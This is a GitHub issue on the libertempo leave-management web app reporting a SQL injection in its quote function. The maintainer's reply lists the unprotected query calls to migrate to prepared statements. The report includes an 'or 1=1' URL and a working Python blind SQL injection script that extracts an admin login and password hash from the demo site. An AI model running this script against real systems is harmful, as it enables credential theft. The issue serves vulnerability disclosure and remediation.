libertempo / web

Application web de gestion des congés en ligne
GNU General Public License v2.0
66 stars 63 forks source link

Injection SQL #816

Open Areizen opened 5 years ago

Areizen commented 5 years ago

Description

La fonction quote n'échappe pas correctement les injections SQL ce qui peut permettre à un attaquant de récupérer des informations sensibles tels que les identifiants/hash des utilisateurs.

Remediation

Utiliser des requêtes preparées sur l"ensemble du site

Exemple d'exploitation

https://demo.libertempo.fr/edition/edition_papier.php?user_login=georges&edit_id=1 or 1=1

ou exemple de récupération d'identifiants à partir du manque de validation :

( modifier le PHPSESSID et les id en fonctions de la plateforme )

import requests
import string

url = 'https://demo.libertempo.fr/edition/edition_papier.php'
keyword = '29/04/2019'
s = requests.session()
s.cookies.update({"PHPSESSID":"95b5f3qjpthgf9o134gi4idf7p"})

#    Getting the length of one admin user
for i in xrange(1,200):
    injection = "?user_login=georges&edit_id=87 AND (SELECT LENGTH(u_login) from conges_users where u_is_admin=char(89) limit 1)=" + str(i)
    if s.get(url + injection).content.find(keyword) != -1:
        length = i
        print(length)
        break

#    Getting the name of one admin user
database = ''
for n in xrange(1, length + 1):
    for c in string.printable:
        injection = "?user_login=georges&edit_id=87 AND (SELECT SUBSTRING(u_login, " + str(n) + ", 1) from conges_users where u_is_admin=char(89) limit 1)=char(" + str(ord(c)) + ")"
        if s.get(url + injection).content.find(keyword) != -1:
            print database
            database += c
            break

login = database

#    Getting the length of his password
for i in xrange(1,200):
    injection = "?user_login=georges&edit_id=87 AND (SELECT LENGTH(u_passwd) from conges_users where u_is_admin=char(89) limit 1)=" + str(i)
    if s.get(url + injection).content.find(keyword) != -1:
        length = i
        print(length)
        break

#    Getting the name of password
database = ''
for n in xrange(1, length + 1):
    for c in string.printable:
        injection = "?user_login=georges&edit_id=87 AND (SELECT SUBSTRING(u_passwd, " + str(n) + ", 1) from conges_users where u_is_admin=char(89) limit 1)=char(" + str(ord(c)) + ")"
        if s.get(url + injection).content.find(keyword) != -1:
            print database
            database += c
            break

passwd = database
print("Found login/hash : ",(login,passwd))
prytoegrian commented 5 years ago

NB : j'ai essayé de trouver le bon compromis entre la sécurité, l'énergie déployée et la fiabilité. Il est important de noter que la réécriture via l'API corrige petit à petit ce fait.


Après étude, j'ai cherché toutes les queries concernées, en supprimant les autres ordres que SELECT et les queries qui étaient déjà protégées. Il reste le contenu ci-dessous.

Je propose au contributeur qui voudrait mettre les mains dedans de prendre un fichier de la liste et de regarder ce qui peut être typecasté simplement (il y en a).

Autrement, il faudra faire une autre méthode dans le fichier qui va bien pour avoir une empreinte minimale sur les codes consommateurs et y développer le mécanisme des requêtes préparées.

Il suffira alors de me dire ce que vous avez fait, je modifierai alors la liste.

Results for "query("

~/Logiciels/lt/web/index.php:
  16:      $rs = \includes\SQL::query($request );

~/Logiciels/lt/web/config/Fonctions.php:
  53:          $ReqLog1 = \includes\SQL::query($sql1);
  439:          $ReqLog1 = \includes\SQL::query($sql1);

~/Logiciels/lt/web/edition/Fonctions.php:
  92:          $ReqLog2 = $db->query($sql2);
  203:          $ReqLog1 = $db->query($sql1);
  358:          $ReqLog2 = $db->query($sql2);
  911:          $ReqLog2 = $db->query($sql2);
  1019:          $ReqLog2 = \includes\SQL::singleton()->query($sql2);
  1045:          $ReqLog_edition = $db->query($sql_edition);
  1062:          $ReqLog_user = $db->query($sql_user);
  1083:          $ReqLog_ed = $db->query($sql_ed);
  1100:          $ReqLog1 = $db->query($sql1);
  1108:              $ReqLog2 = $db->query($sql2);
  1120:          $ReqLog1 = \includes\SQL::query($sql1);
  1126:              $ReqLog2 = \includes\SQL::query($sql2);
  1155:          $ReqLog1 = \includes\SQL::query($sql1);
  1195:          $ReqLog_list = \includes\SQL::query($sql_list);

~/Logiciels/lt/web/export/Fonctions.php:
  95:              $res_periodes = $db->query($sql_periodes);

~/Logiciels/lt/web/hr/Fonctions.php:
  127:              $ReqLog1 = $db->query($sql1) ;
  477:          $ReqLog3 = $db->query($sql3);
  608:          $ReqLog2 = $db->query($sql2);
  711:          $ReqLog2 = $db->query($sql2);
  1035:              $ReqLog_group = \includes\SQL::singleton()->query($sql_group) ;
  1076:          $ReqLog = \includes\SQL::singleton()->query($sql1) ;
  1093:          $ReqLog1 = \includes\SQL::singleton()->query($sql1);
  1124:                      $ReqLog_update = $db->query($sql_update) ;
  1179:          $ReqLog_verif = $db->query($sql_verif) ;
  1184:              $ReqLog_update = $db->query($sql_update) ;
  1230:                          $ReqLog_reliquat = $db->query($sql_reliquat) ;
  1240:                      $ReqLog_solde = $db->query($sql_solde) ;
  1251:                      $ReqLog_solde = $db->query($sql_solde) ;
  1258:                  $ReqLog2 = $db->query($sql2) ;
  1319:              $ReqLog_group = \includes\SQL::singleton()->query($sql_group) ;
  1749:              $result_insert = \includes\SQL::singleton()->query($sql_insert);
  1758:          $result = \includes\SQL::singleton()->query($sql_delete);
  1766:          $res_1 = \includes\SQL::singleton()->query($req_1);
  1827:              $result_credit = $db->query($sql_credit);
  1838:              $ReqLog = $db->query($sql1);
  1844:                      $ReqLog = $db->query($sql1);
  1984:          $res_1 = \includes\SQL::singleton()->query($req_1);
  2035:          $res_select = \includes\SQL::singleton()->query($sql_select);
  2115:              $ReqLog_gr = $db->query($sql_gr);

~/Logiciels/lt/web/hr/hr_ajout_conges.php:
  57:          $ReqLog1 = $db->query($sql1);
  107:              $ReqLog1 = $db->query($sql1);
  226:      $resultatGroupe = \includes\SQL::singleton()->query($sql_group);

~/Logiciels/lt/web/includes/SQL.php:
  35:          $res = $instance->query('SHOW DATABASES');
  144:          $this->query('SET NAMES \'utf8\';');
  145:          $this->query("SET @@SESSION.sql_mode='';");
  148:      public function query($query, $resultmode = MYSQLI_STORE_RESULT) : Database_MySQLi_Result
  151:          $this->real_query($query);

~/Logiciels/lt/web/includes/fonction.php:
  227:      $result = $sql->query($req);
  237:      $result = $sql->query($req);
  311:      $res_conges = \includes\SQL::query($req_conges);
  378:      $res_conges = \includes\SQL::query($req_conges) ;
  565:      $res_select = \includes\SQL::query($sql_select);
  635:          $user_periode_request = \includes\SQL::query($user_periode_sql);
  1061:          $res_echange_rtt = $db->query($sql_echange_rtt);
  1270:          $res_abs = $db->query($select_abs);
  1352:      $ReqLog_name = $db->query($req_name);
  1372:      $ReqLog1 = $db->query($sql1);
  1392:          $ReqLog_2 = $db->query($sql_2);
  1400:              $ReqLog_3 = $db->query($req);
  1424:      $ReqLog1 = $db->query($sql1);
  1440:      $ReqLog1 = $db->query($sql1);
  1462:      $ReqLog1 = $db->query($sql1);
  1507:          $ReqLog1 = $db->query($sql1);
  1530:      $ReqLog1 = $db->query($sql1);
  1550:      $ReqLog1 = $db->query($sql1);
  1592:              $ReqLog1 = $db->query($sql2);
  1610:          $ReqLog_2 = $db->query($req);
  1641:              $ReqLog_3 = $db->query($req);
  1679:              $ReqLog1 = $db->query($sql1);
  1722:          $ReqLog_info = $db->query($select_info);
  1764:      $result = $db->query($sql2);
  1997:      $data   = $db->query($request);
  2016:      $ReqLog = $db->query($request);
  2078:      $ReqLog = $db->query($sql1);
  2102:              $ReqLog1 = $db->query($sql1);
  2184:          $ReqLog_users = $db->query($sql_users);
  2260:      $res_select = $db->query($sql_select);
  2281:      $ReqLog_info = $db->query($select_info);

~/Logiciels/lt/web/responsable/Fonctions.php:
  34:                  $ReqLog1 = $db->query($sql1);
  51:                          $db->query($req_update);
  98:                  $ReqLog1 = $db->query($sql1);
  262:          $ReqLog_verif = $db->query($sql_verif);
  437:              $ReqLog_group = $db->query($sql_group);
  896:          $ReqLog3 = $db->query($sql3);
  1023:          $ReqLog2 = $db->query($sql2);
  1129:          $ReqLog2 = $db->query($sql2);
  1520:              $transactionACommiter = $sql->query($reqAnnulation)
  1521:                  && $sql->query($reqSoustraction)
  1692:              $transactionACommiter = $sql->query($reqAnnulation)
  1693:                  && $sql->query($reqAjout)

~/Logiciels/lt/web/responsable/resp_ajout_conges.php:
  68:      $ReqLog_group = \includes\SQL::singleton()->query($sql_group);

~/Logiciels/lt/web/utilisateur/Fonctions.php:
  13:          $ReqLog_abs = \includes\SQL::query($sql_abs);
  29:              $ReqLog_solde_conges = \includes\SQL::query($select_solde);
  35:              $ReqLog_solde_conges_a_valider = \includes\SQL::query($select_solde_a_valider);
  281:          $ReqLog1 = \includes\SQL::query($sql1);
  467:          $ReqLog_abs = \includes\SQL::query($sql_abs);
  512:          $ReqLog1 = \includes\SQL::query($sql1);
  989:              $result_verif_echange1 = \includes\SQL::query($sql_verif_echange1);
  1013:              $result_verif_echange2 = \includes\SQL::query($sql_verif_echange2);
  1224:          $query = $sql->query($req);
  1248:          $queryUser = $sql->query($reqUser);
  1255:              $queryCreneau = $sql->query($reqCreneau);
  1421:          $res = $sql->query($req);

~/Logiciels/lt/web/App/ProtoControllers/Conge.php:
  153:          return $sql->query($req)->fetch_array(MYSQLI_ASSOC);
  268:          $res = $sql->query($req);
  295:          return $sql->query($req)->fetch_all(MYSQLI_ASSOC);
  313:          $data   = $sql->query($req);

~/Logiciels/lt/web/App/ProtoControllers/Groupe.php:
  157:          $query = $sql->query($req);
  183:          $query = $sql->query($req);

~/Logiciels/lt/web/App/ProtoControllers/Responsable.php:
  26:          $res = $sql->query($req);
  47:           $res = $sql->query($req);
  73:          $query = $sql->query($req);
  85:          $res = $sql->query($req);
  189:          $query = $sql->query($req);

~/Logiciels/lt/web/App/ProtoControllers/Utilisateur.php:
  160:          $res = $sql->query($req);
  215:          $res = $sql->query($req);
  236:          $query = $sql->query($req);
  263:          $res = $sql->query($req);
  284:          $query = $sql->query($req);

~/Logiciels/lt/web/App/Tools/configure:
  22:      $res = $db->query('SELECT EXISTS (SELECT conf_valeur FROM conges_config WHERE conf_nom = "' . $db->quote($nom)
  29:      $res = $db->query('SELECT conf_type FROM conges_config WHERE conf_nom = "' . key($data) . '"');
  53:      $res = $db->query('SELECT conf_valeur FROM conges_config WHERE conf_nom = "' . $db->quote($option)

~/Logiciels/lt/web/App/Tools/createHR:
  24:      $res = $db->query('SELECT EXISTS (SELECT u_login FROM conges_users WHERE u_login = "' . $login . '")

~/Logiciels/lt/web/App/ProtoControllers/Employe/AHeure.php:
  351:          $queryAdd = $sql->query($req);
  388:          $queryRep = $sql->query($req);
  445:          $queryConges = $sql->query($req);

~/Logiciels/lt/web/App/ProtoControllers/Employe/Conge.php:
  81:          $res = $sql->query($req);
  108:          return $sql->query($req)->fetch_all(MYSQLI_ASSOC);
  123:          $res = $sql->query($req);
  153:          return 0 < (int) $sql->query($req)->fetch_array()[0];
  247:          $queryConges = $sql->query($req);

~/Logiciels/lt/web/App/ProtoControllers/Groupe/Gestion.php:
  161:          return $sql->query($req);
  230:          $deleteGroupe = $sql->query($req);
  345:          $sql->query($req);
  368:          $return = $sql->multi_query($req);
  397:          $return = $sql->multi_query($req);
  427:          $return = $sql->multi_query($req);

~/Logiciels/lt/web/App/ProtoControllers/Groupe/Utilisateur.php:
  53:          $query = $sql->query($req);

~/Logiciels/lt/web/App/ProtoControllers/HautResponsable/Planning.php:
  326:          $query = $sql->query($req);
  343:          $query = $sql->query($req);
  362:          $sql->query($req);

~/Logiciels/lt/web/App/ProtoControllers/HautResponsable/Utilisateur.php:
  622:          $sql->query($req);
  625:          $sql->query($req);
  628:          $sql->query($req);
  631:          $sql->query($req);
  634:          $sql->query($req);
  637:          $sql->query($req);
  640:          $sql->query($req);
  643:          $commit = $sql->query($req);
  669:          $query = $sql->query($req);
  722:          return $sql->query($req);
  737:          $returnStd = $sql->query($req);
  752:              $returnExc = $sql->query($req);

~/Logiciels/lt/web/App/Libraries/Calendrier/Evenements/Conge.php:
  154:          return $this->db->query($req)->fetch_all(\MYSQLI_ASSOC);

~/Logiciels/lt/web/App/Libraries/Calendrier/Evenements/EchangeRtt.php:
  85:          return $this->db->query($req)->fetch_all(\MYSQLI_ASSOC);

~/Logiciels/lt/web/App/Libraries/Calendrier/Evenements/Fermeture.php:
  75:          return $this->db->query($req)->fetch_all(MYSQLI_ASSOC);

~/Logiciels/lt/web/App/ProtoControllers/Employe/Heure/Additionnelle.php:
  84:              $query = \includes\SQL::query($sql);
  280:          $res = $sql->query($req);
  302:           return $sql->query($req)->fetch_all(MYSQLI_ASSOC);
  341:          $sql->query($req);
  360:          $query = $sql->query($req);
  375:          $sql->query($req);
  398:          $query = $sql->query($req);
  416:          $query = $sql->query($req);
  444:              return 0 < (int) $sql->query($req)->fetch_array()[0];

~/Logiciels/lt/web/App/ProtoControllers/Employe/Heure/Repos.php:
  84:              $query = \includes\SQL::query($sql);
  278:          $res = $sql->query($req);
  300:          return $sql->query($req)->fetch_all(MYSQLI_ASSOC);
  338:          $sql->query($req);
  357:          $sql->query($req);
  372:          $sql->query($req);
  395:          $query = $sql->query($req);
  413:          $query = $sql->query($req);
  440:          return 0 < (int) $sql->query($req)->fetch_array()[0];

~/Logiciels/lt/web/App/ProtoControllers/Responsable/Traitement/Additionnelle.php:
  213:          $res = $sql->query($req);
  241:          $res = $sql->query($req);
  264:          $ListeDemande = $sql->query($req)->fetch_all(MYSQLI_ASSOC);

~/Logiciels/lt/web/App/ProtoControllers/Responsable/Traitement/Conge.php:
  231:          $sql->query($req);
  254:          $query = $sql->query($req);
  274:          $query = $sql->query($req);
  296:          $query = $sql->query($req);
  318:          $query = $sql->query($req);
  433:          $res = $sql->query($req);
  456:          $ListeDemande = $sql->query($req)->fetch_all(MYSQLI_ASSOC);
  479:          $query = $sql->query($req);
  525:          $query = $sql->query($req);

~/Logiciels/lt/web/App/ProtoControllers/Responsable/Traitement/Repos.php:
  221:          $res = $sql->query($req);
  249:          $res = $sql->query($req);
  272:          $ListeDemande = $sql->query($req)->fetch_all(MYSQLI_ASSOC);

~/Logiciels/lt/web/App/Libraries/Calendrier/Evenements/Heure/Additionnelle.php:
  42:          $res = $this->db->query($req);

~/Logiciels/lt/web/App/Libraries/Calendrier/Evenements/Heure/Repos.php:
  42:          $res = $this->db->query($req);